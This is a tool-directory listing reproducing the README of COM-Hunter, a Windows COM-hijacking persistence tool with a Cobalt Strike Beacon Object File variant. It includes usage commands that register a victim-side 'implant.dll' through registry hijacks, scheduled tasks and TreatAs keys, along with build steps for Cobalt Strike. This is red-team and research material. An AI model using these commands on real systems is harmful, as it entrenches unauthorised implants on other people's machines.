百科.dev
全部条目在线工具AI 编程趋势榜开源项目技术资讯提交条目
登录
< 返回工具列表
C

COM-Hunter

> 编程语言
开源

COM 入侵 VOODOO

387 stars0 点赞1 次浏览
访问官网GitHub

工具介绍

COM 入侵 VOODOO

COM-Hunter

COM Hijacking VOODOO

Description

COM-Hunter is a COM Hijacking persistence tool.

Available in both a .NET version and a BOF variant fully compatible with Cobalt Strike.

The following list explains the available modes:

  • Search Mode: Searches for CLSIDs based on LocalServer32, InprocServer32, and registry entries under both HKLM and HKCU.
  • Classic Persist Mode: Performs classic COM hijacking persistence using LocalServer32 or InprocServer32.
  • Task Scheduler Mode: Automatically establishes COM hijacking persistence via Task Scheduler using LocalServer32 or InprocServer32.
  • TreatAs Mode: Performs COM hijacking persistence via the TreatAs registry key and a fake (forwardable) CLSID using LocalServer32 or InprocServer32.
  • Remove Mode: Removes persistence mechanisms that rely on LocalServer32, InprocServer32, and related registry entries under both HKLM and HKCU.

ℹ️ This tool has been selected and it is proudly part of the Cobalt Strike Community Kit.

If you find any bugs, don’t hesitate to report them. Your feedback is valuable in improving the quality of this project!

Disclaimer

The authors and contributors of this project are not liable for any illegal use of the tool. It is intended for educational purposes only. Users are responsible for ensuring lawful usage.

Table of Contents

  • COM-Hunter
    • Description
    • Disclaimer
    • Table of Contents
    • Acknowledgement
    • Usage
    • .NET Examples
    • BOF Implementation
    • References

Acknowledgement

This project created with :heart: by @nickvourd && @S1ckB0y1337.

Special thanks to my friend Marios Gyftos for his invaluable assistance during the beta testing phase of this tool.

Inspired by the RTO course from @zeropointsecltd.

BOF implementation inspired by Lefteris Panos and his awesome project, RegPersist.

The base.c and bofdefs.h files are direct copies from TrustedSec's CS-Situational-Awareness-BOF project.

Usage

…

.NET Examples

:information_source: Search DLL and EXE implementations in HKLM and HKCU:

.\COM-Hunter.exe search 01575CFE-9A55-4003-A5E1-F38D1EBDCBE1 -a

:information_source: Search EXE implementations in HKLM and HKCU:

.\COM-Hunter.exe search "{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" -l

:information_source: Advanced search EXE implementations in HKLM:

.\COM-Hunter.exe search "{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" -l --machine

:information_source: Search EXE and DLL implementations in HKCU:

.\COM-Hunter.exe search AB8902B4-09CA-4bb6-B78D-A8F59079A8D5 --user

:information_source: Perform classic persistence using DLL implementation:

.\COM-Hunter.exe persist AB8902B4-09CA-4bb6-B78D-A8F59079A8D5 C:\Users\victim\Desktop\implant.dll -i

:information_source: Perform classic persistence using EXE implementation:

.\COM-Hunter.exe persist "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" C:\Users\victim\Desktop\implant.exe --localserver32

:information_source: Perform persistence via Task Scheduler using DLL implementation:

.\COM-Hunter.exe tasksch C:\Users\victim\Desktop\implant.dll --inprocserver32

:information_source: Perform persistence via the TreatAs registry key and a fake (forwardable) CLSID using DLL implementation:

.\COM-Hunter.exe treatas AB8902B4-09CA-4bb6-B78D-A8F59079A8D5 "{00000012-1312-1997-2605-F38D1EBDCBE1}" C:\Users\victim\Desktop\implant.dll -i

:information_source: Remove DLL implementation persistence in HKCU using:

.\COM-Hunter.exe remove AB8902B4-09CA-4bb6-B78D-A8F59079A8D5 -i -u

BOF Implementation

ℹ️ Required MinGW-w64 toolchain (x86_64-w64-mingw32-gcc and i686-w64-mingw32-gcc)

ℹ️ Compile the BOF objects for both architectures:

./make_all.sh

This will:

  1. Create the com_hunter_* directories.
  2. Compile com_hunter_*.x64.o and com_hunter_*.x86.o.
  3. Move both object files into the com_hunter_*/ directories.

ℹ️ After compiling the BOF modules, simply load com_hunter_bof.cna into Cobalt Strike.

ℹ️ To clean build artifacts, go into evary src directory and execute:

make clean

References

  • Persistence: “the continued or prolonged existence of something”: Part 2 – COM Hijacking by MDSec
  • Abusing the COM Registry Structure (Part 2): Hijacking & Loading Techniques by BOHOPS
  • Userland Persistence with Scheduled Tasks and COM Handler Hijacking by Enigma0x3
  • COM Objects Hijacking by Virus Total
  • CS-Remote-OPs-BOF GitHub Repository by TrustedSec
  • A Developer's Introduction to Beacon Object Files by TrustedSec
  • BOF Development & Tradecraft Course by Zeropoint Security

Issues· 0 开放

查看全部 Issues在 GitHub 打开

暂无开放 Issues,或尚未同步最近议题。

> 标签

Caggressor-scriptbeacon-object-fileclsidcobalt-strike

暂无评论,来聊聊你的看法吧

> 工具信息

发布日期2026年8月1日
最后更新2026年9月17日
分类编程语言
定价开源

> 相关工具

T
TypeScript
JavaScript 的超集,为前端与全栈提供静态类型
P
Python
通用编程语言,广泛用于 Web、数据与 AI
G
Go
Google 推出的简洁高效系统语言